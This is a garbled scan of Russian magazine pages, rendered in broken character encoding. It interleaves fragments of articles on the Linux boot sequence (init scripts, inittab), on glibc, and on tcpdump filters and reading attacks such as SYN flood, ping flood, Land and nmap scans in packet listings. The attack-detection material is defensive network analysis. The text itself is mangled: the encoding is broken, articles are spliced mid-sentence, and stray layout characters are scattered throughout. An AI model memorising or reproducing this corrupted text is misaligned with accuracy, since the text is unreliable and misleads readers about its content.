(çàïóñòèòü ñåðâèñ) èëè K (îñòàíîâèòü ñåðâèñ). Çàòåì èäóò äâå öèôðû, îáîç-
íà÷àþùèå ïîðÿäîê, â êîòîðîì ñëåäóåò çàïóñêàòü ñêðèïòû. Ê ïðèìåðó, åñëè
â rc3.d ïðèñóòñòâóþò ññûëêè S10sysklogd è S15cron, òî ýòî çíà÷èò, ÷òî íà
òðåòüåì óðîâíå çàïóñêà ñëåäóåò ñíà÷àëà âûïîëíèòü ñêðèïò
/etc/rc.d/init.d/syslogd, à çàòåì /etc/rc.d/init.d/cron. Êàæäîìó èç íèõ áóäåò ïå-
ðåäàí ïàðàìåòð start. Äîâîëüíî ÷àñòî â ñèñòåìàõ ñî ñòèëåì èíèöèàëèçàöèè
SystemV ïðèñóòñòâóåò êàòàëîã /etc/sysconfig, ñîäåðæàùèé êîíôèãóðàöèîí-
íûå ôàéëû, ñ ïîìîùüþ êîòîðûõ ìîæíî âëèÿòü íà ïðîöåññ çàãðóçêè.

[÷òî ñêðèïòû íàì ãîòîâÿò] Ïåðåä òåì, êàê ïðîäîëæèòü íàøó ýïîïåþ,
õî÷ó îáðàòèòü òâîå âíèìàíèå íà âàæíóþ äåòàëü. Òàê êàê ñòàðòîâûå ñêðèïòû
ïðåäñòàâëÿþò ñîáîé ñöåíàðèè êîìàíäíîãî èíòåðïðåòàòîðà, çíà÷èò, óæå â
ìîìåíò çàãðóçêè ïîÿâëÿåòñÿ íåîáõîäèìîñòü â bash � ýòî ïåðâîå. Âòîðîå,
ñêðèïòû íå ìîãóò îáõîäèòüñÿ òîëüêî âñòðîåííûìè ñðåäñòâàìè bash, è èì
íóæíû ñòàíäàðòíûå êîìàíäû òèïà: cat, echo, hostname, rm, uname. Âñå ýòè
áàçîâûå ïðîãðàììû, à òàêæå ìíîæåñòâî äðóãèõ ñîäåðæèòñÿ â ïàêåòå coreuti-
ls. Òàêæå äëÿ ïðèâåäåíèÿ ñèñòåìû â ðàáî÷åå ñîñòîÿíèå ñêðèïòû íå ìîãóò
îáîéòèñü è áåç ñåðâèñíûõ óòèëèò (hwclock, mount, swapon è ò.ä.). Òàêèå óòè-
ëèòû âõîäÿò â ñîñòàâ ïàêåòà util-linux, êîòîðûé âêëþ÷àåò â ñåáÿ áåñïîðÿäî÷-

/etc/inittab èç Slackware 10.1
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íèÿ ôàéëà /fastboot (â íåêîòîðûõ äèñòðèáóòèâàõ îí ìîæåò èìåòü èìÿ
/etc/fastboot). Íàëè÷èå òàêîãî ôàéëà îçíà÷àåò, ÷òî ïðîâåðêó îñóùåñòâëÿòü
íå íóæíî, ïîýòîìó ñêðèïò, óâèäåâ åãî, íåìåäëåííî çàâåðøàåòñÿ. Äàëåå
ñêðèïò ïåðåìîíòèðóåò êîðíåâóþ ÔÑ â ðåæèì read-only (mount -n -o
remount,ro /) äëÿ òîãî, ÷òîáû îáåñïå÷èòü âîçìîæíîñòü åå ïðîâåðêè. ×òîáû
óçíàòü, íå íóæíî ëè ïðîèçâîäèòü ïðèíóäèòåëüíóþ ïðîâåðêó âñåõ ÔÑ, äàæå
åñëè îíè áûëè êîððåêòíî ðàçìîíòèðîâàíû, ñêðèïò èùåò ôàéë /forcefsck (â
íåêîòîðûõ äèñòðàõ /etc/forcefsck). Â ñëó÷àå, åñëè òàêîãî ôàéëà íå áûëî íàé-
äåíî, âûïîëíÿåòñÿ êîìàíäà "fsck -a -A -C -T", ïðîâåðÿþùàÿ âñå ôàéëîâûå
ñèñòåìû, ïðîïèñàííûå â /etc/fstab.
SS4400mmoouunnttffss � ìîíòèðîâàíèå ôàéëîâûõ ñèñòåì. Ïîñëå òîãî, êàê çàâåð-
øèëàñü ïðîâåðêà, ìîæíî ñìîíòèðîâàòü êîðíåâóþ ÔÑ îáðàòíî â ðåæèì
÷òåíèÿ/çàïèñè, ÷òî ñêðèïò è äåëàåò, èñïîëüçóÿ êîìàíäó "mount -n -o
remount,rw /". Äàëåå ïðîèñõîäèò óäàëåíèå óæå íåíóæíûõ ôàéëîâ /fast-
boot è /forcefsck. Ñîçäàåòñÿ ÷èñòûé ôàéë /etc/mtab è â íåãî, ïîñðåä-
ñòâîì êîìàíä "mount -f /", "mount -f /proc" è "mount -f /sys" çàïèñûâàåòñÿ
èíôîðìàöèÿ îá óæå ñìîíòèðîâàííûõ ôàéëîâûõ ñèñòåìàõ (/, /proc è
/sys). Ýòî íóæíî äëÿ ïðàâèëüíîé ðàáîòû íåêîòîðûõ ïðîãðàìì. Íàêîíåö,
êîìàíäîé "mount -a -O no_netdev" ïðîèñõîäèò ìîíòèðîâàíèå ôàéëîâûõ
ñèñòåì, ïîäëåæàùèõ ìîíòèðîâàíèþ. Îáðàòè âíèìàíèå íà ïîñëåäíþþ
îïöèþ: îíà óêàçûâàåò mount íå ïîäêëþ÷àòü ñåòåâûå ÔÑ, ïîòîìó ÷òî
ñåòü åùå íå ôóíêöèîíèðóåò.
S50cleanfs � î÷èñòêà êàòàëîãîâ. Â äàííîì ñëó÷àå ïðîèñõîäèò çà÷èñòêà
/tmp, /var/lock è /var/run. Ñîçäàåòñÿ ïóñòîé ôàéë /var/run/utmp, à çàòåì ôàé-
ëû, ïåðå÷èñëåííûå â êîíôèãå /etc/sysconfig/createfiles.
SS6600sseettcclloocckk � óñòàíîâêà ñèñòåìíîãî âðåìåíè. ×èòàåòñÿ ôàéë "/etc/syscon-
fig/clock", è, åñëè ïåðåìåííàÿ "$UTC" èìååò çíà÷åíèå "true" (çíà÷èò, ÷òî
CMOS-÷àñû ðàáîòàþò â ÷àñîâîì ïîÿñå Ãðèíâè÷à), òî âûïîëíÿåòñÿ êîìàíäà
"hwclock --hctosys --utc", èíà÷å êîìàíäà "hwclock --hctosys --localtime".
SS7700ccoonnssoollee � óñòàíîâêà íóæíîãî øðèôòà è ðàñêëàäêè. Âñå íåîáõîäèìîå äëÿ ýòîé
îïåðàöèè îáû÷íî íàõîäèòñÿ â ïàêåòå kbd. Øðèôò óñòàíàâëèâàåòñÿ êîìàíäîé "set-
font èìÿ_øðèôòà", à íàñòðîéêà ðàñêëàäêè êîìàíäîé "loadkeys ðàñêëàäêà". Äîñ-
òóïíûå øðèôòû è ðàñêëàäêè ìîæíî íàéòè â êàòàëîãàõ "/usr/share/kbd/consolefonts"
è "/usr/share/kbd/keymaps". Òàêæå äëÿ êîððåêòíîãî îòîáðàæåíèÿ ïñåâäîãðàôèêè
ìîæåò ïîíàäîáèòüñÿ çàãðóçèòü «ñèìâîëüíóþ êàðòó» (consoletrans).

SS8800llooccaallnneett � èíòåðôåéñ îáðàòíîé ïåòëè ïðåäíàçíà÷åí äëÿ ëîêàëüíîãî èñ-
ïîëüçîâàíèÿ ñåòåâûõ ñëóæá. Äëÿ åãî àêòèâèçàöèè ñêðèïò âûïîëíÿåò âñåãî
îäíó êîìàíäó "ifconfig lo 127.0.0.1".

Íà ýòîì íà÷àëüíàÿ èíèöèàëèçàöèÿ çàêàí÷èâàåòñÿ. Äåìîí init, ïðî÷èòàâ
ñòðîêó "l3:3:wait:/etc/rc.d/init.d/rc 3" â /etc/inittab, ïîâèíóåòñÿ è âûïîëíÿåò
äàííóþ êîìàíäó. Ñêðèïò /etc/rc.d/init.d/rc ïåðåõîäèò â êàòàëîã /etc/rc.d/rc3.d,
è ïðîöåññ èíèöèàëèçàöèè ïðîäîëæàåòñÿ. Ïîäíèìàåòñÿ ñåòü, çàïóñêàåòñÿ
syslog, cron, at è äðóãèå äåìîíû.
Ïî îêîí÷àíèè ýòàïà èíèöèàëèçàöèè, init ÷èòàåò ïîñëåäíèå ñòðîêè
/etc/inittab � "1:2345:respawn:/sbin/agetty -I '\033(K' tty1 9600". Ýòî îçíà-
÷àåò çàïóñê agetty íà ïåðâîì òåðìèíàëå (tty1). Çàäà÷à agetty � ïîäêëþ-
÷èòüñÿ ê òðåáóåìîìó òåðìèíàëó è çàïóñòèòü ïðîãðàììó /bin/login, êîòî-
ðàÿ âûâîäèò íà ýêðàí ïðèãëàøåíèå (ôàéë /etc/issue) è æäåò ââîäà èìå-
íè è ïàðîëÿ. Óòèëèòà login ñâåðÿåò èìÿ è ïàðîëü ñ áàçîé /etc/shadow è
çàïóñêàåò øåëë, ïðîïèñàííûé â ïîñëåäíåé êîëîíêå ôàéëà /etc/passwd
äëÿ äàííîãî ïîëüçîâàòåëÿ
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Òû ìîæåøü äàòü óêàçàíèå
ÿäðó çàïóñòèòü âìåñòî init
ëþáîé äðóãîé ïðîöåññ,
ïðîñòî óêàçàâ ïàðàìåòð
init=/ïóòü/äî/ïðîãðàììû.
Íàïðèìåð, init=/bin/bash.

Èìåííî èç-çà òîãî, ÷òî â
Linux-äèñòðèáóòèâû, ïîìèìî
ÿäðà, âõîäèò ìíîæåñòâî
ðàçëè÷íîãî ñâîáîäíî ñîôòà
ïîä ëèöåíçèåé GPL, Linux
ñëåäóåò íàçûâàòü GNU/Linux.

ÑÒÀÍÄÀÐÒÍÀß
ÁÈÁËÈÎÒÅÊÀ ßßÇÛÊÀ CC
Î òîì, ÷òî «UNIX è C äðóçüÿ íà âåêè» çíàåò êàæäûé
þíèêñîèä. Ïîýòîìó ìîæíî ïðåäïîëîæèòü, ÷òî è ÿäðî, è
ïðîãðàììíîå îêðóæåíèå íàïèñàíû èìåííî íà C. Íî ñàì ÿçûê
íå ïðåäñòàâëÿåò íèêàêèõ âñòðîåííûõ ñðåäñòâ äëÿ âûâîäà íà
ýêðàí, ðàáîòû ñ ôàéëàìè, ïàìÿòüþ è äðóãèìè ðåñóðñàìè. Âñå
ýòè äåéñòâèÿ äîëæíà âûïîëíÿòü âíåøíÿÿ áèáëèîòåêà. Òàêàÿ
áèáëèîòåêà ïðèñóòñòâóåò â ëþáîì UNIX è íàçûâàåòñÿ LibC
(ñåé÷àñ èñïîëüçóåòñÿ åå GNU-âåðñèÿ � glibc). Ñ íåé
ñëèíêîâàíà êàæäàÿ ïðîãðàììà, ìîæíî â ýòîì ëåãêî óáåäèòüñÿ,
íàòðàâèâ ldd íà ëþáîé áèíàðíèê â êàòàëîãå /bin èëè /usr/bin.
Òû óâèäèøü çàâåòíóþ ñòðîêó "libc.so.6 => /lib/libc.so.6
(0xb7eb2000)". Ñàìà áèáëèîòåêà ëåæèò â êàòàëîãå /lib è
íàçûâàåòñÿ libc.so.6 (öèôðà 6 îçíà÷àåò, ÷òî îíà ñîâìåñòèìà ñ
øåñòûì ðåëèçîì îðèãèíàëüíîé libc). ×òîáû óìåíüøèòü îáúåì,
çàíèìàåìûé áèáëèîòåêîé â ïàìÿòè, åå ðàçáèëè íà íåñêîëüêî
÷àñòåé è ìåíåå âîñòðåáîâàííûå ôóíêöèè ïîìåñòèëè â äðóãèå
ëèáû. Íàïðèìåð: libm � ìàòåìàòè÷åñêèå ôóíêöèè, libdl �
ôóíêöèè äëÿ çàãðóçêè áèáëèîòåê íà ëåòó, libcrypt �
êðèïòîãðàôè÷åñêèå ôóíêöèè. Âìåñòå ñ áèáëèîòåêîé
ïîñòàâëÿåòñÿ äèíàìè÷åñêèé çàãðóç÷èê (ld-linux.so.2 äëÿ Linux).
Ïðè çàïóñêå ïðîãðàììû îí ïîìåùàåòñÿ â ïàìÿòü ïåðâûì è
çàãðóæàåò âñå íåîáõîäèìûå ïðîãðàììå áèáëèîòåêè, íàëè÷èå
êîòîðûõ îïðåäåëÿåò ïî ôàéëó /etc/ld.so.cache. Ýòîò ôàéë, â
ñâîþ î÷åðåäü, ñîçäàåòñÿ óòèëèòîé ldconfig, ÷èòàþùåé êîíôèã
/etc/ld.so.conf. Êñòàòè, òàêèå ïîïóëÿðíûå èíñòðóìåíòû, êàê ldd,
iconv è locale, òîæå ÿâëÿþòñÿ ÷àñòüþ ïàêåòà glibc. ìàñòåð íàñòðîéêè ñåðâåðà. DHCP-ñåðâåð ïîêà åùå íå óñòàíîâëåí 

ñêðèïò /etc/rc.d/init.d/mountfs





îíà áóäåò ïåðåõâàòûâàòü âñå ñåòåâûå ïàêåòû è âûâîäèòü î íèõ èíôîðìà-
öèþ. Ñ ïîìîùüþ ïàðàìåòðà -i ìîæíî óêàçàòü ñåòåâîé èíòåðôåéñ, ñ êîòî-
ðîãî ñëåäóåò ïðèíèìàòü äàííûå:

# tcpdump -i eth2

Òàêèì îáðàçîì, ñ èíòåðôåéñà eth2 áóäåò îñóùåñòâëÿòüñÿ çàõâàò ïàêåòîâ.
Åñëè òðåáóþòñÿ ëèøü ïàêåòû, ïîëó÷àåìûå èëè îòïðàâëÿåìûå îò îïðåäå-
ëåííîãî õîñòà, òî åãî èìÿ èëè IP íóæíî óêàçàòü ïîñëå êëþ÷åâîãî ñëîâà host:

# tcpdump host namesrv

Åñëè æå íóæíû ïàêåòû, êîòîðûìè îáìåíèâàþòñÿ, íàïðèìåð, õîñòû names-
rv1 è namesrv2, òî ìîæíî èñïîëüçîâàòü òàêîé ôèëüòð:

# tcpdump host namesrv1 and namesrv2

Äëÿ îòñëåæèâàíèÿ òîëüêî èñõîäÿùèõ ïàêåòîâ îò êàêîãî-ëèáî óçëà íóæíî
óêàçàòü ñî÷åòàíèå "src host":

# tcpdump src host namesrv

À äëÿ îòñëåæèâàíèÿ òîëüêî âõîäÿùèõ ïàêåòîâ � "dst host":

# tcpdump dst host namesrv

Êëþ÷åâûå ñëîâà "src port" è "dst port" ïîçâîëÿþò óêàçûâàòü ïîðò îòïðàâèòå-
ëÿ è ïîðò ïîëó÷àòåëÿ, íàïðèìåð:

# tcpdump dst port 513

Åñëè íóæíî îòñëåæèâàòü îäèí èç òðåõ ïðîòîêîëîâ tcp, udp, icmp, òî åãî èìÿ
ìîæíî ïðîñòî óêàçàòü â êîìàíäíîé ñòðîêå. Ñ ïîìîùüþ áóëåâûõ îïåðàòî-
ðîâ and (&&), or (||) è not (!) ìîæíî çàäàâàòü ôèëüòðû ïðîèçâîëüíîé ñëîæ-
íîñòè. Íèæå ïðèâåäåí ïðèìåð ôèëüòðà, îòñëåæèâàþùåãî òîëüêî ICMP-ïà-
êåòû, ïðèõîäÿùèå èç âíåøíåé ñåòè:

[âèðòóîçíîå âëàäåíèå îïöèÿìè êîìàíä-
íîé ñòðîêè] Óòèëèòà tcpdump ïðåäñòàâëÿåò
ñîáîé ñåòåâîé àíàëèçàòîð ïàêåòîâ, ðàçðàáîòàí-
íûé Lawrence Berkeley National Laboratory. Åñëè
tcpdump çàïóñòèòü áåç êàêèõ-ëèáî ïàðàìåòðîâ,

ÑÅÒÜ ÍÀÏÎÌÈÍÀÅÒ ÊÐÎÂÅÍÎÑÍÓÞ ÑÈÑÒÅÌÓ,
À ÄÂÈÆÓÙÈÅÑß ÏÎ ÍÅÉ ÏÀÊÅÒÛ ÑÐÎÄÍÈ
ÒÐÎÌÁÎÖÈÒÀÌ, ËÅÉÊÎÖÈÒÀÌ È ÏÐÎ×ÈÌ
ÊËÅÒÊÀÌ ÊÐÎÂÈ. ÎÄÍÀÊÎ ÍÅ ÂÑÅ, ×ÒÎ ÏËÀÂÀ-
ÅÒ Â ÊÐÎÂÈ, ÍÅÑÅÒ ÏÎËÜÇÓ. ÏÅÐÈÎÄÈ×ÅÑÊÈ
Â ÊÐÎÂÜ ÏÐÎÍÈÊÀÅÒ ÇÀÐÀÇÀ, ÊÎÒÎÐÀß ÑÒÐÅ-
ÌÈÒÑß ÍÀÂÐÅÄÈÒÜ ÈËÈ ÄÀÆÅ ÓÁÈÒÜ ÂÅÑÜ
ÎÐÃÀÍÈÇÌ. ×ÒÎÁÛ ÎÁÍÀÐÓÆÈÒÜ È ÂÎÂÐÅÌß
ÓÑÒÐÀÍÈÒÜ ÇÀÁÎËÅÂÀÍÈÅ, ÍÅÎÁÕÎÄÈÌÎ
ÑÄÀÂÀÒÜ ÊÐÎÂÜ ÍÀ ÀÍÀËÈÇÛ. Ñ ÀÍÀËÎÃÈ×-
ÍÎÉ ÖÅËÜÞ ÑËÅÄÓÅÒ ÀÍÀËÈÇÈÐÎÂÀÒÜ «ÑÅÒÅ-
ÂÓÞ ÊÐÎÂÜ». ÑÒÀÍÄÀÐÒÍÛÌ ÈÍÑÒÐÓÌÅÍÒÎÌ
ÄËß ÒÀÊÎÃÎ ÀÍÀËÈÇÀ Â *NIX ßÂËßÅÒÑß ÓÒÈ-
ËÈÒÀ TCPDUMP | Èâàí Ñêëÿðîâ (www.sklyaroff.ru)

Þ
Í

È
Ò

Û
Ê

Ð
Å

À
Ò

È
Ô

Ô
Ê

Î
Ä

È
Í

Ã
U

N
IX

O
ID

Ñ
Ö

Å
Í

À

Àíàëèçèðóåì
ñåòåâóþ êêðîâü

Ïðîöåññ çàãðóçêè Linux
â ïîäðîáíîñòÿõ

102

Â
Ç

Ë
Î

Ì
È

Ì
Ï

Ë
À

Í
Ò

P
C

_
Z

O
N

E
Í

Ü
Þ

Ñ
Û

F
E

R
R

U
M



# tcpdump icmp and not src net localnet

Ìîæíî ïðîâåðÿòü êîíêðåòíûå áèòû èëè áàéòû â çàãîëîâêàõ ïðîòîêîëîâ,
äëÿ ÷åãî èñïîëüçóåòñÿ òàêîé ôîðìàò: proto[expr:size], ãäå proto � îäèí èç
ïðîòîêîëîâ ether, fddi, tr, ip, arp, rarp, tcp, udp, icmp èëè ip6; expr � ñìåùå-
íèå â áàéòàõ îò íà÷àëà çàãîëîâêà ïàêåòà; size � äîïîëíèòåëüíîå ïîëå, óêà-
çûâàþùåå, ñêîëüêî áàéò ðàññìàòðèâàòü (ìîæåò îòñóòñòâîâàòü, òîãäà ðàñ-
ñìàòðèâàåòñÿ 1 áàéò). Íàïðèìåð, ÷òîáû îòáèðàòü òîëüêî TCP-ñåãìåíòû, â
êîòîðûõ óñòàíîâëåí ôëàã SYN, ñëåäóåò èñïîëüçîâàòü ôèëüòð:

# tcpdump 'tcp[ 13 ]==2'

Çäåñü íóæíî çíàòü, ÷òî ñ 13 áàéòà çàãîëîâêà TCP ðàñïîëîæåíû 8 áèò ôëà-
ãîâ (1 áàéò), ãäå SYN ÿâëÿåòñÿ âòîðûì áèòîì ïî íîìåðó. Òàê êàê îí äîëæåí
áûòü óñòàíîâëåí â 1, òî áàéò ôëàãîâ â äâîè÷íîì âèäå áóäåò âûãëÿäåòü êàê
00000010 (ýòî 2 â dec). Ñ ïîìîùüþ àðãóìåíòà -c ìîæíî óêàçàòü êîëè÷åñòâî
ïðèíèìàåìûõ ïàêåòîâ:

# tcpdump -c 10

Â èòîãå áóäåò ïîëó÷åíî âñåãî 10 ïàêåòîâ. Ïàðàìåòð -a ïîçâîëÿåò (åñëè âîç-
ìîæíî) îòîáðàæàòü IP-àäðåñà â ñèìâîëüíîì âèäå (ïðàâäà ýòî äîâîëüíî
ñèëüíî çàìåäëÿåò ðàáîòó óòèëèòû):

# tcpdump -a

Ñ ïîìîùüþ ôëàãà -vvv ìîæíî ïîëó÷èòü ìàêñèìàëüíî ïîäðîáíûé âûâîä.
Ìåíüøóþ èíôîðìàöèþ âûäàþò ôëàãè: -v è -vv. Îáî âñåõ âîçìîæíûõ îïöè-
ÿõ ìîæíî óçíàòü íà ñòðàíèöàõ ñïðàâî÷íîãî ðóêîâîäñòâà tcpdump(8).

[ôîðìàò âûõîäíîé èíôîðìàöèè tcpdump] Â íà÷àëå êàæäîé ñòðîêè
ëèñòèíãà tcpdump ñòàâèòñÿ îòìåòêà âðåìåíè, êîòîðàÿ ÿâëÿåòñÿ òåêóùèì
âðåìåíåì ÷àñîâ â ôîðìàòå: hh:mm:ss.frac, ãäå frac � ýòî äîëè ñåêóíä. Çà îò-
ìåòêîé âðåìåíè ìîæåò óêàçûâàòüñÿ èíòåðôåéñ, íà êîòîðûé ïðîèñõîäèò ïðè-
åì ïàêåòîâ, íàïðèìåð, eth0, eth1, lo è ò. ï. Çàïèñü eth0< îçíà÷àåò, ÷òî èäåò
ïðèåì ïàêåòîâ íà èíòåðôåéñ eth0. Ñîîòâåòñòâåííî, çàïèñü eth0> îçíà÷àåò,

÷òî èäåò îòïðàâêà ïàêåòîâ â ñåòü ñ èíòåðôåéñà eth0. Äàëüíåéøèå ñâåäåíèÿ
çàâèñÿò îò òèïà ïðèíèìàåìîãî ïàêåòà (ARP/RARP, TCP, UDP, NBP, ATP). Äà-
ëåå ïîêàçàíû ôîðìàòû äëÿ íåêîòîðûõ îñíîâíûõ òèïîâ ïàêåòîâ.

1 TCP-ïàêåòû

src.port > dst.port: flags data-seqno ack window urgent options

src.port è dst.port � ýòî IP-àäðåñ è ïîðò èñòî÷íèêà è ïðèåìíèêà ïàêåòîâ.
flags � ýòî ôëàãè, óñòàíîâëåííûå â çàãîëîâêå TCP-ïàêåòà. Ìîãóò ïðèíè-
ìàòü êîìáèíàöèè èç ñèìâîëîâ S (SYN), F (FIN), P (PUSH), R (RST), òàêæå â
ýòîì ïîëå ìîæåò ñòîÿòü îäíà òî÷êà, êîòîðàÿ îçíà÷àåò îòñóòñòâèå óñòàíîâ-
ëåííûõ ôëàãîâ.
data-seqno � îïèñûâàåò äàííûå, ñîäåðæàùèåñÿ â ïàêåòå â òàêîì ôîðìàòå:
first:last(nbytes), ãäå first è last � íîìåð ïîñëåäîâàòåëüíîñòè ïåðâîãî è ïîñ-
ëåäíåãî áàéòà ïàêåòà, nbytes � êîëè÷åñòâî áàéò äàííûõ. Åñëè ïàðàìåòð
nbytes ðàâåí íóëþ, òî first è last ñîâïàäàþò.
ack � ñëåäóþùèé íîìåð ïîñëåäîâàòåëüíîñòè (ISN + 1).
window � ðàçìåð îêíà.
urgent � óêàçûâàåò íà íàëè÷èå ñðî÷íûõ äàííûõ â ïàêåòå (ôëàã URG).
options � çäåñü ìîãóò óêàçûâàòüñÿ äîïîëíèòåëüíûå ñâåäåíèÿ, íàïðèìåð
<mss 1024> (ìàêñèìàëüíûé ðàçìåð ñåãìåíòà).

2 UDP-ïàêåòû

src.port > dst.port: udp nbytes

udp � ìåòêà, óêàçûâàþùàÿ íà òî, ÷òî èäåò àíàëèç UDP-ïàêåòîâ.
nbytes � ÷èñëî áàéò äàííûõ, ñîäåðæàùèõ UDP-ïàêåò.

3 ICMP-ïàêåòû

src > dst: icmp: type

icmp � ìåòêà, èäåíòèôèöèðóþùàÿ ICMP-ïàêåò.
type � òèï ICMP-ñîîáùåíèÿ, íàïðèìåð, echo request èëè echo reply. [X
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Ýòè è äðóãèå àòàêè â êà÷å-
ñòâå òðåíèðîâêè òû ñìî-
æåøü ïîèñêàòü â ëèñòèíãàõ
tcpdump â ãîëîâîëîìêàõ èç
ìîåé êíèãè «Ãîëîâîëîìêè
äëÿ õàêåðà». Ê òîìó âðåìå-
íè, êîãäà òû ÷èòàåøü ýòó
ñòàòüþ, êíèãà äîëæíà óæå
áûòü â ïðîäàæå.



[ó÷èìñÿ ðàñïîçíàâàòü àòàêó â ëèñòèíãàõ tcpdump] Íåêîòîðûå
ñèñòåìû îáíàðóæåíèÿ àòàê (NIDS) èñïîëüçóþò æóðíàëû ïðîòîêîëèðîâàíèÿ,
ñîçäàííûå óòèëèòîé tcpdump, íî ìû ñåé÷àñ íàó÷èìñÿ ñàìîñòîÿòåëüíî îï-
ðåäåëÿòü îñíîâíûå òèïû àòàê â ëèñòèíãàõ tcpdump.
Íà ðèñóíêå 1 ïîêàçàí ëèñòèíã tcpdump, â êîòîðîì çàôèêñèðîâàíà DoS-àòà-

êà SYN Flood ïðîòèâ óçëà 172.23.115.22. Îá ýòîì ãîâîðèò ìíîæåñòâî SYN-
çàïðîñîâ íà îäèí ïîðò (80/tcp) çà î÷åíü êîðîòêèé ïðîìåæóòîê âðåìåíè (äå-
ñÿòêè çàïðîñîâ çà îäíî è òî æå âðåìÿ: 13:15:11.580126).
Íà ðèñóíêå 2 çàôèêñèðîâàíà ðàñïðåäåëåííàÿ DoS-àòàêà (DDoS) ICMP
flooding (flood ping). Íà ïåðâûé âçãëÿä ìîæíî ïîäóìàòü, ÷òî ýòî îáû÷íûé
ping õîñòà, ïîñêîëüêó ïðîñòî ïðèíèìàþòñÿ ICMP-ñîîáùåíèÿ echo request, à
â îòâåò ïîñûëàþòñÿ ñîîáùåíèÿ ICMP echo reply.Ñëèøêîì áîëüøîå ÷èñëî
çàïðîñîâ çà ñòîëü êîðîòêèé ïðîìåæóòîê âðåìåíè, ê òîìó æå âñå îíè ïðèõî-
äÿò ñ ðàçíûõ IP-àäðåñîâ.
Íà ðèñóíêå 3 âèäíî, ÷òî IP-àäðåñà, à òàêæå ïîðò èñòî÷íèêà è ïðèåìíèêà
ñîâïàäàþò � ýòî ÿâíûé ïðèçíàê àòàêè Land. Øòîðì Land-çàïðîñîâ ïðèâî-
äèò ê çàöèêëèâàíèþ è ìîæåò ïîëíîñòüþ âûâåñòè àòàêóåìûé óçåë èç ñòðîÿ.
Äîëãîå âðåìÿ ñ÷èòàëàñü, ÷òî ýòà àòàêà âìåñòå ñ óñòàðåâøèìè ñèñòåìàìè
îêîí÷àòåëüíî óøëà â èñòîðèþ, îäíàêî áàãòðàêè âñåãî ìèðà íå òàê äàâíî ñî-
îáùèëè, ÷òî îáíàðóæåíà âîçìîæíîñòü îñóùåñòâëåíèÿ Land ïðîòèâ ñèñòåì
Windows Server 2003 è Windows XP SP2. Ñòîèò îòìåòèòü, ÷òî ñóùåñòâóåò
íåñêîëüêî ìîäèôèêàöèé ýòîé àòàêè, íàïðèìåð, Latierra � êîãäà ïîñûëàþò-
ñÿ ïàêåòû íà íåñêîëüêî ïîðòîâ îäíîâðåìåííî.
Íà ðèñóíêå 4 ìîæíî óâèäåòü ìíîæåñòâî ïîïûòîê óñòàíîâèòü TCP-ñîåäèíå-
íèå íà ðàçëè÷íûå ïîðòû óçëà 172.23.115.22. Áîëüøèíñòâî çàïèñåé èìåþò
ñëåäóþùèé âèä:

12:00:17.899408 eth0 < 192.168.10.35.2878 > 172.23.115.22.340: S
3477705342:3477705342 (0) win 64240 <mss 1460,nop,nop,sackOK> (DF)
12:00:17.899408 eth0 > 172.23.115.22.340 > 192.168.10.35.2878: R 0:0 (0)
ack 3477705343 win 0 (DF)

Â ïåðâîé ñòðîêå ïåðåäàåòñÿ TCP SYN-çàïðîñ, à âî âòîðîé îòñûëàþòñÿ â îò-
âåò ïàêåòû TCP RST � ýòî ãîâîðèò î òîì, ÷òî ïîäêëþ÷åíèå ê äàííîìó ïîð-
òó íåâîçìîæíî. Â ëèñòèíãå òàêæå âñòðå÷àåòñÿ òàêàÿ öåïî÷êà çàïèñåé:

12:00:17.899408 eth0 < 192.168.10.35.2879 > 172.23.115.22.ssh: S
3477765723:3477765723 (0) win 64240 <mss 1460,nop,nop,sackOK> (DF)
12:00:17.899408 eth0 > 172.23.115.22.ssh > 192.168.10.35.2879: S
3567248280:3567248280 (0) ack 3477765724 win 5840 <mss
1460,nop,nop,sackOK> (DF)
12:00:17.899408 eth0 < 192.168.10.35.2879 > 172.23.115.22.ssh: . 1:1(0) ack
1 win 64240 (DF)
12:00:17.899408 eth0 < 192.168.10.35.2879 > 172.23.115.22.ssh: R
3477765724:3477765724(0) win 0 (DF)

Çäåñü àíàëîãè÷íî: â ïåðâîé ñòðîêå ïåðåäàåòñÿ SYN-çàïðîñ íà ssh-ïîðò
(22/tcp) óçëà 172.23.115.22. Çàòåì â ñëåäóþùåé ñòðîêå ïîêàçàíî, ÷òî óçåë
172.23.115.22 ïîñûëàåò îòâåò ñ óñòàíîâëåííûìè ôëàãàìè SYN è ACK, ïðè
ýòîì çíà÷åíèå ïîëÿ Acknowledgment Number â TCP çàãîëîâêå óâåëè÷åíî íà
åäèíèöó (3477765723+1). Â òðåòüåé ñòðîêå óçåë 192.168.10.35 ïîäòâåðæäà-
åò ïîëó÷åíèå îòâåòà. È â ïîñëåäíåé ñòðî÷êå ñîåäèíåíèå çàêðûâàåòñÿ óç-
ëîì 192.168.255.20 ïîñûëêîé RST. Òàêèì îáðàçîì, òðåõýòàïíîå ðóêîïîæà-
òèå TCP (TCP three-way handshake) íå áûëî êîððåêòíî îñóùåñòâëåíî. Íà
ðèñóíêå 4 çàôèêñèðîâàíî TCP-ñêàíèðîâàíèå óçëà 172.23.115.22.
Ñ áîëüøîé âåðîÿòíîñòüþ ìîæíî ïðåäïîëîæèòü, ÷òî ðàáîòàåò ñêàíåð nmap
(ñ óñòàíîâëåííûì ôëàãîì -sT), òàê êàê íîìåðà ïîðòîâ, íà êîòîðûå ïðèõî-
äÿò çàïðîñû, óâåëè÷èâàþòñÿ íå ïîñëåäîâàòåëüíî íà åäèíèöó, êàê â ñëó÷àå
áîëüøèíñòâà äðóãèõ ñêàíåðîâ, à ñîâåðøåííî ñëó÷àéíûì îáðàçîì (õîòÿ òàê
ïîñòóïàåò íå òîëüêî îäèí nmap).
Íà ðèñóíêå 5 ëèñòèíã ïîõîæ íà ïðåäûäóùèé. Íà óçåë 172.20.100.100 ïîñòó-
ïàþò SYN-çàïðîñû, è â ñëó÷àå çàêðûòîãî ïîðòà â îòâåò îòñûëàþòñÿ ïàêåòû
ñ ôëàãîì RST. Îäíàêî ðåàêöèÿ íà îòêðûòûå ïîðòû îòëè÷àåòñÿ îò ïðåäûäó-
ùåãî ëèñòèíãà:

12:44:17.899408 eth0 < 192.168.99.200.2879 > 172.20.100.100.http: S
1045782751:1045782751 (0) win 4096
12:00:17.899408 eth0 > 172.20.100.100.http > 192.168.99.200.2879: S
2341745720:2341745720 (0) ack 1045782752 win 5840 <mss 1460> (DF)
12:00:17.899408 eth0 < 192.168.99.200.2879 > 172.20.100.100.http: R
1045782752:1045782752 (0) win 0

Çàìåòíî, ÷òî â îòâåò íà SYN-çàïðîñ âîçâðàùàåòñÿ ïàêåò ñ óñòàíîâëåííûìè
